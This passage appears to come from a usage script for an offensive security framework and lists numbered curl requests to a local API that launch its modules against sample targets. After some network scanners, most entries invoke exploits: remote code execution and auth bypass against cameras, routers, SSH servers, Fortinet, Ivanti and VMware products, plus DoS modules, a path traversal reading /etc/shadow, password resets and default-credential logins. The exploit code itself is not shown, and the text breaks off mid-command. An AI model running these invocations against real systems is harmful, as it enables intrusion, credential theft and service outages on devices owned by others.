"port": "5900",
"timeout": "5",
"scan_range": "n",
"save_results": "y",
"output_file": "vnc_scan_results.txt"
}
}' | python3 -m json.tool
# ─── 49. NBNS Scanner ──────────────────────────────────────────
# NetBIOS Name Service scanner. Resolves NetBIOS names.
# Prompts: port, timeout, retries, save_results, output_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/nbns_scanner",
"target": "192.168.1.0/24",
"prompts": {
"port": "137",
"timeout": "3",
"retries": "2",
"save_results": "y",
"output_file": "nbns_scan_results.txt"
}
}' | python3 -m json.tool
# ─── 50. Source Port Scanner ────────────────────────────────────
# Tests firewall rules by varying source ports.
# Prompts: dest_port, source_range, scan_udp, concurrency, timeout, verbose, output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/source_port_scanner",
"target": "192.168.1.1",
"prompts": {
"dest_port": "80",
"source_range": "well-known",
"scan_udp": "n",
"concurrency": "500",
"timeout": "3",
"verbose": "n",
"output_file": "source_port_results.txt"
}
}' | python3 -m json.tool
# ─── 51. Honeypot Scanner ──────────────────────────────────────
# Detects honeypots via port analysis and behavioral heuristics.
# Prompts: target, port_timeout_ms, concurrency, save_results, output_file, verbose, confirm
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/honeypot_scanner",
"target": "192.168.1.1",
"prompts": {
"port_timeout_ms": "200",
"concurrency": "50",
"save_results": "y",
"output_file": "honeypot_results.txt",
"verbose": "n",
"confirm": "y"
}
}' | python3 -m json.tool
# ─── 52. Subdomain Scanner ─────────────────────────────────────
# DNS subdomain enumeration. Uses built-in wordlist or custom file.
# Prompts: wordlist ("built-in" or path), concurrency, timeout, save_results, output_file
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/subdomain_scanner",
"target": "example.com",
"prompts": {
"wordlist": "built-in",
"concurrency": "20",
"timeout": "3",
"save_results": "y",
"output_file": "subdomains_example_com.txt"
}
}' | python3 -m json.tool
# ─── 53. Amplification Scanner ─────────────────────────────────
# REMOVED — module deleted. Use `scanners/reflect_scanner` (see
# ADDITIONAL MODULES section below) for amplification/reflection
# probing.
# ─── 54. Proxy Scanner ─────────────────────────────────────────
# Scans for open proxy servers on common ports.
# Prompts: ports (default "3128,8080,8888,1080,9050"), timeout
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/proxy_scanner",
"target": "192.168.1.1",
"prompts": {
"ports": "3128,8080,8888,1080,9050",
"timeout": "5000"
}
}' | python3 -m json.tool
# ─── 55. StalkRoute Full Traceroute ────────────────────────────
# Full traceroute with ICMP/UDP/TCP probes. Requires sudo.
# Prompts: sudo_confirm ("yes"/"no")
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/stalkroute_full_traceroute",
"target": "8.8.8.8",
"prompts": {
"sudo_confirm": "yes"
}
}' | python3 -m json.tool
# ─── 56. WAF Detector ──────────────────────────────────────────
# Detects Web Application Firewalls (Cloudflare, AWS, Akamai, etc.).
# Prompts: timeout, send_triggers, save_results, output_file
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "scanners/waf_detector",
"target": "example.com",
"prompts": {
"timeout": "10",
"send_triggers": "y",
"save_results": "y",
"output_file": "waf_detect_results.txt"
}
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# CAMERA EXPLOIT MODULES (57-62)
# ═══════════════════════════════════════════════════════════════
# ─── 57. ACTi ACM-5611 RCE ──────────────────────────────────────────
# Single target (check vuln + run command):
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/acti/acm_5611_rce",
"target": "192.168.1.100",
"prompts": { "port": "8080", "command": "id" }
}' | python3 -m json.tool
# ─── 58. AVTech Camera CVE-2024-7029 RCE ────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/avtech/cve_2024_7029_avtech_camera",
"target": "192.168.1.101",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 59. Hikvision CVE-2021-36260 RCE ──────────────────────────────
# mode 1=safe check 2=reboot check 3=run cmd+read output 4=blind cmd
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/hikvision/hikvision_rce_cve_2021_36260",
"target": "192.168.1.102",
"prompts": { "mode": "1" }
}' | python3 -m json.tool
# ─── 60. ABUS CVE-2023-26609 (LFI / RCE / SSH Persistence) ─────────
# mode 1=LFI mode 2=RCE mode 3=SSH persistence
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/abus/abussecurity_camera_cve202326609variant1",
"target": "192.168.1.103",
"prompts": { "mode": "2", "command": "id" }
}' | python3 -m json.tool
# ─── 61. Reolink CVE-2019-11001 (Authenticated RCE) ─────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/reolink/reolink_rce_cve_2019_11001",
"target": "192.168.1.104",
"prompts": {
"username": "admin",
"password": "admin123",
"command": "id"
}
}' | python3 -m json.tool
# ─── 62. Uniview NVR Password Disclosure ────────────────────────────
curl -s --max-time 30 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/cameras/uniview/uniview_nvr_pwd_disclosure",
"target": "192.168.1.105",
"prompts": { "output_file": "uniview_creds.txt" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# SSH EXPLOIT MODULES (63-71)
# ═══════════════════════════════════════════════════════════════
# ─── 63. SSH PWN Session ─────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/sshpwn_session",
"target": "192.168.1.1",
"prompts": { "port": "22", "username": "root", "password": "toor", "mode": "2" }
}' | python3 -m json.tool
# ─── 64. SSH PWN SFTP Attacks ────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/sshpwn_sftp_attacks",
"target": "192.168.1.1",
"prompts": { "port": "22", "username": "root", "password": "toor", "mode": "1" }
}' | python3 -m json.tool
# ─── 65. SSH PWN SCP Attacks ─────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/sshpwn_scp_attacks",
"target": "192.168.1.1",
"prompts": { "port": "22", "username": "root", "password": "toor", "mode": "1" }
}' | python3 -m json.tool
# ─── 66. SSH PWN Auth Password ───────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/sshpwn_auth_passwd",
"target": "192.168.1.1",
"prompts": { "port": "22", "mode": "1" }
}' | python3 -m json.tool
# ─── 67. SSH PWN PAM ────────────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/sshpwn_pam",
"target": "192.168.1.1",
"prompts": { "port": "22", "username": "root", "password": "toor" }
}' | python3 -m json.tool
# ─── 68. OpenSSH 9.8p1 Race Condition ───────────────────────────
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/opensshserver_9_8p1race_condition",
"target": "192.168.1.1",
"prompts": { "port": "22" }
}' | python3 -m json.tool
# ─── 69. Erlang OTP SSH RCE CVE-2025-32433 ──────────────────────
# Pre-auth RCE via Erlang SSH protocol. Default port 22.
# Prompts: port, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/erlang_otp_ssh_rce_cve_2025_32433",
"target": "192.168.1.1",
"prompts": { "port": "22", "command": "id" }
}' | python3 -m json.tool
# ─── 70. LibSSH Auth Bypass CVE-2018-10933 ──────────────────────
# Authentication bypass via libssh MSG_USERAUTH_SUCCESS.
# Prompts: port, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/libssh_auth_bypass_cve_2018_10933",
"target": "192.168.1.1",
"prompts": { "port": "22", "command": "id" }
}' | python3 -m json.tool
# ─── 71. OpenSSH RegreSSHion CVE-2024-6387 ──────────────────────
# Race condition in OpenSSH signal handler. Vuln check.
# Prompts: port, verbose
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/ssh/openssh_regresshion_cve_2024_6387",
"target": "192.168.1.1",
"prompts": { "port": "22", "verbose": "no" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# ROUTER EXPLOIT MODULES (72-99)
# ═══════════════════════════════════════════════════════════════
# ─── 72. D-Link DCS-930L Auth Bypass ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/dlink/dlink_dcs_930l_auth_bypass",
"target": "192.168.0.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 73. Netgear R6700v3 RCE CVE-2022-27646 ────────────────────
# Prompts: target, port (8888/8889/8890)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/netgear/netgear_r6700v3_rce_cve_2022_27646",
"target": "192.168.1.1",
"prompts": { "port": "8888" }
}' | python3 -m json.tool
# ─── 74. PAN-OS Auth Bypass CVE-2025-0108 ───────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/palo_alto/panos_authbypass_cve_2025_0108",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 75. PAN-OS Expedition RCE CVE-2024-9463 ───────────────────
# Prompts: target, port, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/palo_alto/panos_expedition_rce_cve_2024_9463",
"target": "192.168.1.1",
"prompts": { "port": "443", "command": "id" }
}' | python3 -m json.tool
# ─── 76. PAN-OS GlobalProtect RCE CVE-2024-3400 ────────────────
# Prompts: target, port, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/palo_alto/panos_globalprotect_rce_cve_2024_3400",
"target": "192.168.1.1",
"prompts": { "port": "443", "command": "id" }
}' | python3 -m json.tool
# ─── 77. Ruijie Auth Bypass RCE CVE-2023-34644 ──────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/ruijie/ruijie_auth_bypass_rce_cve_2023_34644",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 78. Ruijie Reyee SSRF CVE-2024-48874 ──────────────────────
# Prompts: target_url (required), ssrf_target, follow_redirects, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/ruijie/ruijie_reyee_ssrf_cve_2024_48874",
"target": "192.168.1.1",
"prompts": {
"target_url": "https://192.168.1.1",
"ssrf_target": "http://127.0.0.1:80/",
"skip_ssl": "y",
"proceed": "y"
}
}' | python3 -m json.tool
# ─── 79. Ruijie RG-EW Login Bypass CVE-2023-4415 ────────────────
# Prompts: target_url, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/ruijie/ruijie_rg_ew_login_bypass_cve_2023_4415",
"target": "192.168.1.1",
"prompts": {
"target_url": "https://192.168.1.1",
"skip_ssl": "y",
"proceed": "y"
}
}' | python3 -m json.tool
# ─── 80. Ruijie RG-EW Password Reset CVE-2023-4169 ──────────────
# Prompts: target_url, new_password (required), timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/ruijie/ruijie_rg_ew_password_reset_cve_2023_4169",
"target": "192.168.1.1",
"prompts": {
"target_url": "https://192.168.1.1",
"new_password": "NewP@ss123!",
"skip_ssl": "y",
"proceed": "y"
}
}' | python3 -m json.tool
# ─── 81. Ruijie RG-EW Update Version RCE CVE-2021-43164 ─────────
# Prompts: target_url, command, check_version, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/ruijie/ruijie_rg_ew_update_version_rce_cve_2021_43164",
"target": "192.168.1.1",
"prompts": {
"target_url": "https://192.168.1.1",
"command": "id",
"skip_ssl": "y",
"proceed": "y"
}
}' | python3 -m json.tool
# ─── 82. Ruijie RG-UAC Command Injection CVE-2024-4508 ──────────
# Prompts: target_url, command, try_all_vectors, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/ruijie/ruijie_rg_uac_ci_cve_2024_4508",
"target": "192.168.1.1",
"prompts": {
"target_url": "https://192.168.1.1",
"command": "id",
"try_all_vectors": "y",
"skip_ssl": "y",
"proceed": "y"
}
}' | python3 -m json.tool
# ─── 83. Ruijie RSR Router Command Injection CVE-2024-31616 ─────
# Prompts: target, username, password (required), command, timeout, skip_ssl, proceed
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/ruijie/ruijie_rsr_router_ci_cve_2024_31616",
"target": "192.168.1.1",
"prompts": {
"username": "admin",
"password": "admin123",
"command": "id",
"skip_ssl": "y",
"proceed": "y"
}
}' | python3 -m json.tool
# ─── 84. Tenda CP3 RCE CVE-2023-30353 ───────────────────────────
# Prompts: target (required), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tenda/tenda_cp3_rce_cve_2023_30353",
"target": "192.168.1.1",
"prompts": { "command": "id" }
}' | python3 -m json.tool
# ─── 85. TP-Link Tapo C200 Vulns (standalone) ───────────────────
# mode 1=Vuln scan, 2=WiFi hijack, 3=Factory reset, 4=Mass scan
# Prompts: mode, target (required)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tapo_c200_vulns",
"target": "192.168.1.1",
"prompts": { "mode": "1" }
}' | python3 -m json.tool
# ─── 86. TP-Link Archer C2/C20i RCE ─────────────────────────────
# Prompts: target (required), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_archer_c2_c20i_rce",
"target": "192.168.0.1",
"prompts": { "command": "uname -a" }
}' | python3 -m json.tool
# ─── 87. TP-Link Archer C9 Password Reset ───────────────────────
# Prompts: target (required), port
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_archer_c9_password_reset",
"target": "192.168.0.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 88. TP-Link Archer RCE CVE-2024-53375 ──────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_archer_rce_cve_2024_53375",
"target": "192.168.0.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 89. TP-Link AX1800 RCE CVE-2024-53375 ─────────────────────
# Authenticated RCE. Prompts: target, username, password (required), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_ax1800_rce_cve_2024_53375",
"target": "192.168.0.1",
"prompts": {
"username": "admin",
"password": "admin",
"command": "id"
}
}' | python3 -m json.tool
# ─── 90. TP-Link Deco M4 RCE ────────────────────────────────────
# Authenticated RCE. Prompts: target, username, password, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_deco_m4_rce",
"target": "192.168.0.1",
"prompts": {
"username": "admin",
"password": "admin",
"command": "id"
}
}' | python3 -m json.tool
# ─── 91. TP-Link Tapo C200 (full exploit) ───────────────────────
# Prompts: target, mode (1=vuln scan, 2=WiFi hijack, etc.)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_tapo_c200",
"target": "192.168.1.1",
"prompts": { "mode": "1" }
}' | python3 -m json.tool
# ─── 92. TP-Link VIGI C385 RCE CVE-2026-1457 ───────────────────
# Prompts: port, username, password, command, mass_scan, exclude_ranges
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_vigi_c385_rce_cve_2026_1457",
"target": "192.168.1.1",
"prompts": {
"port": "443",
"username": "admin",
"password": "",
"command": "id"
}
}' | python3 -m json.tool
# ─── 93. TP-Link VN020 DoS ──────────────────────────────────────
# Prompts: target, duration (seconds, 0 = until stopped)
curl -s --max-time 120 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tp_link_vn020_dos",
"target": "192.168.0.1",
"prompts": { "duration": "60" }
}' | python3 -m json.tool
# ─── 94. TP-Link WDR740N Backdoor ───────────────────────────────
# Prompts: target (required), command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_wdr740n_backdoor",
"target": "192.168.0.1",
"prompts": { "command": "uname -a" }
}' | python3 -m json.tool
# ─── 95. TP-Link WDR740N Path Traversal ─────────────────────────
# Prompts: target (required), filename
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_wdr740n_path_traversal",
"target": "192.168.0.1",
"prompts": { "filename": "/etc/shadow" }
}' | python3 -m json.tool
# ─── 96. TP-Link WDR842N Configure Disclosure ───────────────────
# Prompts: target (required), port
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_wdr842n_configure_disclosure",
"target": "192.168.0.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ─── 97. TP-Link WR740N DoS ─────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/tplink/tplink_wr740n_dos",
"target": "192.168.0.1",
"prompts": { "port": "8082", "username": "admin", "password": "admin" }
}' | python3 -m json.tool
# ─── 98. Ubiquiti EdgeRouter Command Injection CVE-2023-2376 ─────
# Prompts: target (required), username, password, command
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/ubiquiti/ubiquiti_edgerouter_ci_cve_2023_2376",
"target": "192.168.1.1",
"prompts": {
"username": "ubnt",
"password": "ubnt",
"command": "id"
}
}' | python3 -m json.tool
# ─── 99. ZTE ZXV10 H201L RCE / Auth Bypass ──────────────────────
# Prompts: port
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/routers/zyxel/zyxel_cpe_ci_cve_2024_40890",
"target": "192.168.1.1",
"prompts": { "port": "80" }
}' | python3 -m json.tool
# ═══════════════════════════════════════════════════════════════
# NETWORK INFRASTRUCTURE EXPLOIT MODULES (100-129)
# ═══════════════════════════════════════════════════════════════
# ─── 100. FortiOS Auth Bypass CVE-2022-40684 ─────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/fortios_auth_bypass_cve_2022_40684",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 101. FortiOS SSL VPN CVE-2018-13379 ─────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/fortios_ssl_vpn_cve_2018_13379",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 102. FortiOS Heap Overflow CVE-2023-27997 ───────────────────
# Prompts: target (required)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/fortios_heap_overflow_cve_2023_27997",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ─── 103. FortiGate RCE CVE-2024-21762 ───────────────────────────
# Prompts: target (required)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/fortigate_rce_cve_2024_21762",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ─── 104. FortiManager RCE CVE-2024-47575 ────────────────────────
# Prompts: target (required)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/fortimanager_rce_cve_2024_47575",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ─── 105. FortiWeb RCE CVE-2021-22123 ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/fortiweb_rce_cve_2021_22123",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 106. FortiWeb SQLi RCE CVE-2025-25257 ───────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/fortiweb_sqli_rce_cve_2025_25257",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 107. FortiSIEM RCE CVE-2025-64155 ───────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/fortisiem_rce_cve_2025_64155",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 108. FortiCloud SSO Auth Bypass CVE-2026-24858 ──────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/fortinet/forticloud_sso_auth_bypass_cve_2026_24858",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 109. Ivanti Connect Secure Buffer Overflow ──────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/ivanti/ivanti_connect_secure_stack_based_buffer_overflow",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 110. Ivanti EPMM CVE-2023-35082 ────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/ivanti/ivanti_epmm_cve_2023_35082",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 111. Ivanti Pre-Auth RCE CVE-2025-0282 ─────────────────────
# Prompts: port, mode (check/exploit)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/ivanti/cve_2025_0282_ivanti_preauth_rce",
"target": "192.168.1.1",
"prompts": { "port": "443", "mode": "check" }
}' | python3 -m json.tool
# ─── 112. Ivanti ICS RCE CVE-2025-22457 ─────────────────────────
# Prompts: port, mode (passive/active)
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/ivanti/cve_2025_22457_ivanti_ics_rce",
"target": "192.168.1.1",
"prompts": { "port": "443", "mode": "passive" }
}' | python3 -m json.tool
# ─── 113. Ivanti ICS Auth Bypass CVE-2024-46352 ─────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/ivanti/ivanti_ics_auth_bypass_cve_2024_46352",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ─── 114. Ivanti Neurons RCE CVE-2025-22460 ─────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/ivanti/ivanti_neurons_rce_cve_2025_22460",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ─── 115. vCenter Backup RCE ─────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/vmware/vcenter_backup_rce",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 116. vCenter File Read ──────────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/vmware/vcenter_file_read",
"target": "192.168.1.1",
"prompts": { "port": "443" }
}' | python3 -m json.tool
# ─── 117. vCenter RCE CVE-2024-37079 ─────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/vmware/vcenter_rce_cve_2024_37079",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ─── 118. ESXi Auth Bypass CVE-2024-37085 ────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
-d '{
"module": "exploits/network_infra/vmware/esxi_auth_bypass_cve_2024_37085",
"target": "192.168.1.1"
}' | python3 -m json.tool
# ─── 119. ESXi VM Escape Check ───────────────────────────────────
curl -s --max-time 60 -X POST http://127.0.0.1:8080/api/run \
-H 'Authorization: Bearer testkey123' \
-H 'Content-Type: application/json' \
